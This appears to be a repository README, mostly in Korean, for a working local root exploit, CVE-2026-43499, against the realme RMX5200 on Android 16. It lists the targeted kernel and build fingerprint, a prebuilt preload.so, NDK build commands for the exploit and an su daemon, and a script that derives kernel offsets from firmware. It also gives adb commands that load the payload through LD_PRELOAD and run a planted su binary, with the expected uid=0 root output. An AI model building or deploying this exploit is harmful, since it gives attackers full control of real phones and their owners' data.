sorrow404null/cve-2026-43499-rmx5200Android 16 로컬 권한 상승 익스플로잇으로, realme RMX5200에서 LD_PRELOAD 기반 preload.so 체인을 사용하여 CVE-2026-43499를 통해 임시 루트 액세스를 달성합니다.
CVE-2026-43499 로컬 권한 상승 SO 대상:
| 항목 | 값 |
|---|---|
| 기기 | realme RMX5200 / RE6030L1 |
| Android | 16 |
| 커널 | 6.12.23-android16-5-gb2a876903b49-ab14541642-4k |
| 핑거프린트 | realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys |
사전 빌드된 바이너리: bin/preload.so
이 저장소는 SO 빌드 트리만 포함합니다 (소스 + 오프셋 + 사전 빌드). 브라우저 하네스, 펌웨어 덤프, 테스트 스캐폴딩은 없습니다.
공개된 IonStack / popsicle 스타일 체인을 기반으로 합니다. 오프셋은 이 기기의 boot.img + xbl_config.img에서 재생성되었습니다.
.
├── bin/preload.so # prebuilt aarch64 shared object (verified)
├── generate_target.py # optional: regenerate target.h from boot+xbl
├── source/
│ ├── Makefile
│ └── src/
│ ├── target.h # RMX5200 offsets
│ ├── main.c preload.c slide.c ...
│ └── kernelsnitch/
└── README.md
요구 사항:
llvm-objdump (target.h를 재생성하는 경우에만)# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload
# Windows NDK example
make -C source clean preload \
NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"
출력:
source/build/bin/preload.so
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"
$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
src/su_daemon.c -o build/embed/su_daemon_aarch64_pie
$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
-DTARGET_CONFIG_H=\"target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/preload.c src/su_blob.S \
-shared -o build/bin/preload.so -pthread
일치하는 펌웨어 이미지가 필요합니다 (여기에 포함되지 않음):
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
--llvm-objdump llvm-objdump \
-o source/src/target.h
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
Firefox-151 lonStack 스타일 호스트(예: Rootme 기기 항목)를 통해 이 preload.so를 로드합니다. 이 저장소에 포함되지 않습니다.
성공 표시:
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
uid=0(root) gid=0(root) ... context=kernel
target.h / 재빌드가 필요합니다.preload.so 체인